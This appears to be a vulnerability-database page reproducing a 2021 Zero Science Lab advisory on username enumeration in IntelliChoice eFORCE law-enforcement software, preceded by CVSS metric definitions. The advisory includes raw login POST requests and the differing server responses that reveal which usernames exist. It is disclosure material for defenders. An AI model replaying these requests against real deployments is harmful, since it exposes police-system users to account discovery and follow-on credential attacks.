The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
None
I
There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: IntelliChoice eFORCE Software Suite 2.5.9 Username Enumeration
IntelliChoice eFORCE Software Suite v2.5.9 Username Enumeration
Vendor: IntelliChoice, Inc.
Product web page: https://www.eforcesoftware.com
Affected version: 2.5.9.6
2.5.9.5
2.5.9.3
2.5.9.2
2.5.9.1
2.5.8.0
2.5.7.20
2.5.7.18
2.5.6.18
2.5.4.6
2.5.3.11
Summary: IntelliChoice is a United States software company that was
founded in 2003, and offers a software title called eFORCE Software
Suite. eFORCE Software Suite is law enforcement software, and includes
features such as case management, court management, crime scene management,
criminal database, dispatching, evidence management, field reporting,
scheduling, court management integration, certification management,
and incident mapping. With regards to system requirements, eFORCE
Software Suite is available as SaaS, Windows, iPhone, and iPad software.
Desc: The weakness is caused due to the login script and how it verifies
provided credentials. Attacker can use this weakness to enumerate valid
users on the affected application via 'ctl00$MainContent$UserName' POST
parameter.
Tested on: Microsoft-IIS/10.0
Microsoft-IIS/8.5
ASP.NET/4.0.30319
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2021-5658
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5658.php
03.05.2021
--
Request/response for existent username:
---------------------------------------
POST /eFORCECommand/Account/Login.aspx HTTP/1.1
__LASTFOCUS:
__EVENTTARGET:
__EVENTARGUMENT:
__VIEWSTATE: Xxx
__VIEWSTATEGENERATOR: 4A5A1A0F
__EVENTVALIDATION: Xxx
ctl00$MainContent$UserName: eforce
ctl00$MainContent$Password: 123456
ctl00$MainContent$btnLogin.x: 20
ctl00$MainContent$btnLogin.y: 7
Response:
Invalid password entered for username eforce.
Request/response for non-existent username:
-------------------------------------------
POST /eFORCECommand/Account/Login.aspx HTTP/1.1
__LASTFOCUS:
__EVENTTARGET:
__EVENTARGUMENT:
__VIEWSTATE: Xxx
__VIEWSTATEGENERATOR: 4A5A1A0F
__EVENTVALIDATION: Xxx
ctl00$MainContent$UserName: testingus
ctl00$MainContent$Password: 123456
ctl00$MainContent$btnLogin.x: 20
ctl00$MainContent$btnLogin.y: 7
Response:
Unable to login: User name testingus is not registered.
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